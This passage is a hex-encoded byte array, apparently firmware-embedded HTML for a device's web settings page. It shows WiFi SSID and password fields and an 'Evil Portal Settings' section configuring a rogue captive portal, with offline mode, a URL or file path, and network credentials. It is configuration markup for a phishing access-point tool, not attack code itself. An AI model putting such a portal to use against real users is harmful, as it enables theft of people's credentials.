0x6E, 0x65, 0x63, 0x74, 0x20, 0x74, 0x6F, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x77, 0x69, 0x66, 0x69, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, - 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, - 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x77, 0x69, 0x66, 0x69, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x22, 0x3E, 0x57, 0x69, 0x46, 0x69, 0x20, 0x50, - 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, - 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, - 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x6E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x20, - 0x79, 0x6F, 0x75, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x74, 0x6F, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x77, 0x69, 0x66, 0x69, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, - 0x6F, 0x72, 0x64, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x22, 0x3E, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x6F, 0x6E, 0x63, 0x6C, 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x54, 0x6F, 0x57, 0x69, 0x46, 0x69, 0x28, - 0x29, 0x22, 0x3E, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, - 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x53, 0x65, - 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x65, 0x76, 0x69, 0x6C, 0x2D, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, - 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, - 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x22, 0x3E, 0x4F, - 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x4D, 0x6F, 0x64, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, - 0x65, 0x78, 0x74, 0x22, 0x3E, 0x54, 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x20, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, - 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, - 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x63, 0x6C, 0x61, 0x73, - 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x67, 0x67, 0x6C, 0x65, 0x2D, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x62, 0x6F, 0x78, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, - 0x6C, 0x5F, 0x6F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x6C, 0x69, 0x64, 0x65, 0x72, 0x22, 0x3E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, - 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x75, 0x72, 0x6C, 0x22, 0x3E, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, - 0x20, 0x55, 0x52, 0x4C, 0x20, 0x6F, 0x72, 0x20, 0x46, 0x69, 0x6C, 0x65, 0x20, 0x50, 0x61, 0x74, 0x68, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, - 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x55, 0x52, 0x4C, 0x20, 0x6F, 0x72, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x20, 0x70, 0x61, 0x74, 0x68, 0x20, 0x66, 0x6F, - 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x75, 0x72, 0x6C, 0x22, 0x20, 0x70, 0x6C, 0x61, - 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x55, 0x52, 0x4C, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, - 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x22, 0x3E, 0x57, 0x69, 0x46, 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, 0x20, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, - 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, - 0x53, 0x53, 0x49, 0x44, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x6E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, - 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, - 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x78, 0x74, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x22, 0x20, 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, - 0x72, 0x3D, 0x22, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x53, 0x53, 0x49, 0x44, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, - 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x5F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x22, 0x3E, 0x57, 0x69, 0x46, 0x69, 0x20, 0x50, 0x61, 0x73, 0x73, 0x77, - 0x6F, 0x72, 0x64, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, - 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x45, 0x6E, 0x74, - 0x65, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x57, 0x69, 0x46, 0x69, 0x20, 0x6E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x20, 0x75, 0x73, 0x65, - 0x64, 0x20, 0x62, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 